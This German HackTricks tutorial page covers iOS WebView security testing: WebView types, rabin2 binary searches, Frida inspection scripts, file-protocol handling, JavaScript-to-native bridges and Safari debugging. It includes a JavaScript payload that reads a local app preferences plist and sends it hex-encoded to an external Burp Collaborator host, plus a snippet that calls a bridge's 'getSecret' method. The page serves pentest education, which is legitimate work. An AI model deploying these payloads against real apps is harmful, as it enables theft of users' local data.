iOS WebViews

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Der Code dieser Seite wurde von hier extrahiert. Überprüfen Sie die Seite für weitere Details.

Arten von WebViews

WebViews werden in Anwendungen verwendet, um interaktiv Webinhalte anzuzeigen. Verschiedene Arten von WebViews bieten unterschiedliche Funktionen und Sicherheitsfunktionen für iOS-Anwendungen. Hier ist ein kurzer Überblick:

  • UIWebView, das ab iOS 12 nicht mehr empfohlen wird, da es keine Unterstützung zum Deaktivieren von JavaScript bietet und anfällig für Skripteinbindung und Cross-Site Scripting (XSS)-Angriffe ist.

  • WKWebView ist die bevorzugte Option zur Integration von Webinhalten in Apps und bietet eine verbesserte Kontrolle über den Inhalt und Sicherheitsfunktionen. JavaScript ist standardmäßig aktiviert, kann aber bei Bedarf deaktiviert werden. Es unterstützt auch Funktionen, um zu verhindern, dass JavaScript automatisch Fenster öffnet, und stellt sicher, dass alle Inhalte sicher geladen werden. Darüber hinaus minimiert die Architektur von WKWebView das Risiko von Speicherbeschädigungen im Hauptprozess der App.

  • SFSafariViewController bietet eine standardisierte Webbrowser-Erfahrung in Apps, die anhand ihres spezifischen Layouts erkennbar ist, einschließlich eines schreibgeschützten Adressfelds, Freigabe- und Navigationsbuttons sowie eines direkten Links zum Öffnen von Inhalten in Safari. Im Gegensatz zu WKWebView kann JavaScript in SFSafariViewController nicht deaktiviert werden, das auch Cookies und Daten mit Safari teilt und die Privatsphäre des Benutzers von der App aus gewährleistet. Es muss gemäß den App Store-Richtlinien prominent angezeigt werden.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Zusammenfassung der WebViews-Konfigurationserkundung

Übersicht der statischen Analyse

Bei der Untersuchung von WebViews-Konfigurationen konzentrieren wir uns auf zwei Haupttypen: UIWebView und WKWebView. Um diese WebViews in einer Binärdatei zu identifizieren, werden Befehle verwendet, um nach bestimmten Klassenreferenzen und Initialisierungsmethoden zu suchen.

  • Identifizierung von UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Dieser Befehl hilft dabei, Instanzen von UIWebView zu finden, indem nach Textzeichenketten gesucht wird, die damit in der Binärdatei zusammenhängen.

  • WKWebView Identifizierung

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

Ebenso sucht dieser Befehl in der Binärdatei nach Textzeichenketten, die auf die Verwendung von WKWebView hinweisen.

Darüber hinaus wird der folgende Befehl ausgeführt, um herauszufinden, wie ein WKWebView initialisiert wird. Dabei wird die Methode signaturbezogen auf die Initialisierung anvisiert:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Überprüfung der JavaScript-Konfiguration

Für WKWebView wird hervorgehoben, dass das Deaktivieren von JavaScript eine bewährte Methode ist, es sei denn, es ist erforderlich. Die kompilierte Binärdatei wird durchsucht, um zu bestätigen, dass die Eigenschaft javaScriptEnabled auf false gesetzt ist, um sicherzustellen, dass JavaScript deaktiviert ist:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Nur sichere Inhaltsüberprüfung

WKWebView bietet die Möglichkeit, gemischte Inhaltsprobleme zu identifizieren, im Gegensatz zu UIWebView. Dies wird mithilfe der Eigenschaft hasOnlySecureContent überprüft, um sicherzustellen, dass alle Seitenressourcen über sichere Verbindungen geladen werden. Die Suche in der kompilierten Binärdatei erfolgt wie folgt:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Einblicke in die dynamische Analyse

Die dynamische Analyse beinhaltet die Untersuchung des Heaps nach WebView-Instanzen und deren Eigenschaften. Ein Skript namens webviews_inspector.js wird zu diesem Zweck verwendet und zielt auf UIWebView, WKWebView und SFSafariViewController-Instanzen ab. Es protokolliert Informationen über gefundene Instanzen, einschließlich URLs und Einstellungen in Bezug auf JavaScript und sichere Inhalte.

Die Heap-Inspektion kann mithilfe von ObjC.choose() durchgeführt werden, um WebView-Instanzen zu identifizieren und die Eigenschaften javaScriptEnabled und hasonlysecurecontent zu überprüfen.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

Das Skript wird mit folgendem Befehl ausgeführt:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Hauptergebnisse:

  • Instanzen von WebViews werden erfolgreich lokalisiert und überprüft.

  • Die Aktivierung von JavaScript und die Einstellungen für sichere Inhalte werden überprüft.

Diese Zusammenfassung umfasst die wesentlichen Schritte und Befehle zur Analyse von WebView-Konfigurationen durch statische und dynamische Ansätze, wobei der Schwerpunkt auf Sicherheitsfunktionen wie der Aktivierung von JavaScript und der Erkennung von gemischtem Inhalt liegt.

Behandlung von WebView-Protokollen

Die Behandlung von Inhalten in WebViews ist ein entscheidender Aspekt, insbesondere beim Umgang mit verschiedenen Protokollen wie http(s)://, file:// und tel://. Diese Protokolle ermöglichen das Laden von sowohl remote als auch lokal gespeicherten Inhalten in Apps. Es wird betont, dass beim Laden von lokalen Inhalten Vorsichtsmaßnahmen getroffen werden müssen, um zu verhindern, dass Benutzer den Dateinamen oder -pfad beeinflussen oder den Inhalt selbst bearbeiten können.

WebViews bieten verschiedene Methoden zum Laden von Inhalten. Für UIWebView, das jetzt veraltet ist, werden Methoden wie loadHTMLString:baseURL: und loadData:MIMEType:textEncodingName:baseURL: verwendet. WKWebView hingegen verwendet loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: und loadRequest: für Webinhalte. Methoden wie pathForResource:ofType:, URLForResource:withExtension: und init(contentsOf:encoding:) werden normalerweise zum Laden von lokalen Dateien verwendet. Die Methode loadFileURL:allowingReadAccessToURL: ist besonders bemerkenswert, da sie eine bestimmte URL oder ein Verzeichnis in den WebView laden kann und dabei potenziell sensible Daten offenlegen kann, wenn ein Verzeichnis angegeben ist.

Um diese Methoden im Quellcode oder im kompilierten Binärformat zu finden, können Befehle wie die folgenden verwendet werden:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

In Bezug auf den Dateizugriff ermöglicht UIWebView dies universell, während WKWebView die Einstellungen allowFileAccessFromFileURLs und allowUniversalAccessFromFileURLs einführt, um den Zugriff von Datei-URLs zu verwalten. Beide Einstellungen sind standardmäßig auf false gesetzt.

Ein Beispiel für ein Frida-Skript wird bereitgestellt, um die Sicherheitseinstellungen von WKWebView zu überprüfen:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Zuletzt wird ein Beispiel für eine JavaScript-Payload gezeigt, die darauf abzielt, lokale Dateien zu exfiltrieren und das potenzielle Sicherheitsrisiko bei unsachgemäß konfigurierten WebViews verdeutlicht. Diese Payload kodiert den Dateiinhalt in hexadezimaler Form, bevor er an einen Server übertragen wird, was die Bedeutung strenger Sicherheitsmaßnahmen bei der Implementierung von WebViews hervorhebt.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Native Methoden, die durch WebViews freigelegt werden

Verständnis der nativen Schnittstellen von WebViews in iOS

Ab iOS 7 hat Apple APIs zur Kommunikation zwischen JavaScript in einem WebView und nativen Swift- oder Objective-C-Objekten bereitgestellt. Diese Integration wird hauptsächlich durch zwei Methoden ermöglicht:

  • JSContext: Eine JavaScript-Funktion wird automatisch erstellt, wenn ein Swift- oder Objective-C-Block mit einem Bezeichner in einem JSContext verknüpft wird. Dadurch wird eine nahtlose Integration und Kommunikation zwischen JavaScript und nativem Code ermöglicht.

  • JSExport-Protokoll: Durch Vererbung des JSExport-Protokolls können native Eigenschaften, Instanzmethoden und Klassenmethoden für JavaScript freigelegt werden. Dies bedeutet, dass Änderungen, die in der JavaScript-Umgebung vorgenommen werden, in der nativen Umgebung gespiegelt werden und umgekehrt. Es ist jedoch wichtig sicherzustellen, dass sensible Daten nicht versehentlich über diese Methode freigelegt werden.

Zugriff auf JSContext in Objective-C

In Objective-C kann der JSContext für ein UIWebView mit der folgenden Codezeile abgerufen werden:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Kommunikation mit WKWebView

Für WKWebView ist kein direkter Zugriff auf JSContext verfügbar. Stattdessen wird die Nachrichtenübermittlung über die Funktion postMessage genutzt, um die Kommunikation zwischen JavaScript und der nativen Anwendung zu ermöglichen. Handler für diese Nachrichten werden wie folgt eingerichtet, um eine sichere Interaktion zwischen JavaScript und der nativen Anwendung zu ermöglichen:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaktion und Testen

JavaScript kann mit der nativen Ebene interagieren, indem ein Skript-Nachrichten-Handler definiert wird. Dadurch können Operationen wie das Aufrufen von nativen Funktionen von einer Webseite aus durchgeführt werden:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Um das Ergebnis eines nativen Funktionsaufrufs zu erfassen und zu manipulieren, kann man die Rückruffunktion innerhalb des HTMLs überschreiben:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

Die native Seite behandelt den JavaScript-Aufruf wie in der Klasse JavaScriptBridgeMessageHandler gezeigt. Dort wird das Ergebnis von Operationen wie der Multiplikation von Zahlen verarbeitet und an JavaScript zur Anzeige oder weiteren Manipulation zurückgesendet:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial basierend auf dem von https://blog.vuplex.com/debugging-webviews)

Um Webinhalte innerhalb von iOS-Webviews effektiv zu debuggen, ist eine spezifische Einrichtung erforderlich, die die Entwicklertools von Safari verwendet, da Nachrichten, die an console.log() gesendet werden, nicht in den Xcode-Protokollen angezeigt werden. Hier ist eine vereinfachte Anleitung, die die wichtigsten Schritte und Anforderungen hervorhebt:

  • Vorbereitung auf dem iOS-Gerät: Der Safari Web Inspector muss auf Ihrem iOS-Gerät aktiviert sein. Dies erfolgt, indem Sie zu Einstellungen > Safari > Erweitert gehen und den Web Inspector aktivieren.

  • Vorbereitung auf dem macOS-Gerät: Auf Ihrem macOS-Entwicklungscomputer müssen Sie die Entwicklertools in Safari aktivieren. Starten Sie Safari, rufen Sie Safari > Einstellungen > Erweitert auf und wählen Sie die Option Entwicklermenü anzeigen.

  • Verbindung und Debugging: Nachdem Sie Ihr iOS-Gerät mit Ihrem macOS-Computer verbunden und Ihre Anwendung gestartet haben, verwenden Sie Safari auf Ihrem macOS-Gerät, um den Webview auszuwählen, den Sie debuggen möchten. Navigieren Sie zu Entwickeln in der Menüleiste von Safari, fahren Sie mit der Maus über den Namen Ihres iOS-Geräts, um eine Liste der Webview-Instanzen anzuzeigen, und wählen Sie die Instanz aus, die Sie inspizieren möchten. Ein neues Fenster des Safari Web Inspectors wird zu diesem Zweck geöffnet.

Beachten Sie jedoch die Einschränkungen:

  • Das Debuggen mit dieser Methode erfordert ein macOS-Gerät, da es auf Safari angewiesen ist.

  • Nur Webviews in über Xcode auf Ihr Gerät geladenen Anwendungen können debuggt werden. Webviews in über den App Store oder Apple Configurator installierten Apps können nicht auf diese Weise debuggt werden.

Referenzen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated